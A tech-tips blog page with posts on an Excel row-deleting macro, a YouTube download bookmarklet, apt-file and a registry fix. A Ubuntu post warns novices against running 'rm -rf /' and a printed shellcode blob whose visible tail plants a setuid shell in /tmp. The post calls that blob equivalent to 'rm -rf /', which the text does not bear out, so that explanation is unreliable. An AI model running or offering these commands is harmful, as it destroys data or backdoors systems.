Bridge to Nova

Have you ever looking for option to delete every odd or even rows in Excel? Looking through menu after menu, hoping there’s some option hidden somewhere? Well, the bad news is that there’s no built-in function as of Excel 2007. You need to use some marco to do just that. Here’s the procedure. This procedure applies to all Excel versions from 97 to 2007, however I’ll provide screenshot using Excel 2007.

• Open your Excel file.

• In Excel 2007, Go to Developer tab, click Visual Basic. (All other Excel versions, go to Tools menu -> Marco –> Visual Basic Editor)

• Then in Visual Basic window, Insert Menu –> Module

• After that copy and paste the following code into the module window.

Sub Delete_Every_Other_Row()

   ' Dimension variables.
   Y = False              ' Change this to True if you want to
                          ' delete rows 1, 3, 5, and so on.
   I = 1
   Set xRng = Selection

   ' Loop once for every row in the selection.
   For xCounter = 1 To xRng.Rows.Count

       ' If Y is True, then...
       If Y = True Then

           ' ...delete an entire row of cells.
           xRng.Cells(I).EntireRow.Delete

       ' Otherwise...
       Else

           ' ...increment I by one so we can cycle through range.
           I = I + 1

       End If

       ' If Y is True, make it False; if Y is False, make it True.
       Y = Not Y

   Next xCounter

End Sub

• Go back to your excel workbook,  Select the Cells that you want for alternative rows to delete. Note : It is important to select the cells, if you select the whole column, Excel will most likely hang when you run Macro.

• After that, click Marcos under Developer tab in Excel 2007. (All other excel versions, Tools menu –> Marcos ) You should see the dialog box as follow. Click on Run.

Bravo! That’s it! Hopefully Excel 2010 will have built-in function for this. 

Source : Microsoft

I know this is old news. Anyway for those of you who don’t know it yet, as Google is the coolest company on the planet, they now let you watch some/most of Youtube video in mp4 high definition format. Furthermore, you can even download those youtube HD video to your local computer with a simple tweak. It’s really easy. Here is how.

• Copy the following code.

javascript:window.location.href = ‘http://youtube.com/get_video?video_id=’ + swfArgs['video_id'] + “&fmt=22″ + “&l=” + swfArgs['l'] + “&sk=” + swfArgs['sk'] + ‘&t=’ + swfArgs['t'];

• Then Right Click on the bookmark bar, select New Bookmark.
• Paste the above code in Location field, type the Name as anything you like (For me “Download Youtube HD”). Click Add.

• Then go to the youtube hd movie you want to download.
• Click Download Youtube HD button on your bookmark bar. You should get the following dialog box.

That’s it!! Save that video.mp4 file in your preferred location and rename the file to anything you like.

Still don’t get it? Perhaps the following video tutorial might be able to help you. 

Source : Unlockforus

Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything.

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.

Those who migrate to Debian variant from Red Hat will be missing the convenient of rpm -qf.

For those of you who don’t know what is rpm -qf <filename>, this command is very useful if you used rpm package management system. It will tell you which package manage that file.

Many people are not aware of the Debian alternative for rpm -qf. First you need  to install apt-file by using the following command.

• -sudo apt-get install apt-file

Now you can search the package of the file by using:

• sudo apt-file search –fixed-string $<filename>

That’s it! I hope this will help you in your troubleshooting, debugging, resolving version conflicts, etc…

Recently I’ve noticed that there’s no size column in My Computer or Windows Explorer. Then when I tried to look in the details list, it’s not listed as an option.

Very wired indeed. After a few rounds of Googling, I’ve found that Windows Search 4.0 is the culprit. Before I give a boot to Windows Search 4.0, I’ve found better solution.

The problem could be due to during installation of Windows Search 4.0, my Property Schema Cache was not created correctly. Deleting the following registry key solved my problem.

HKLM\Software\Microsoft\Windows\CurrentVersion\PropertySystem\PropertySchema\@CachedSchema

Source : Microsoft Social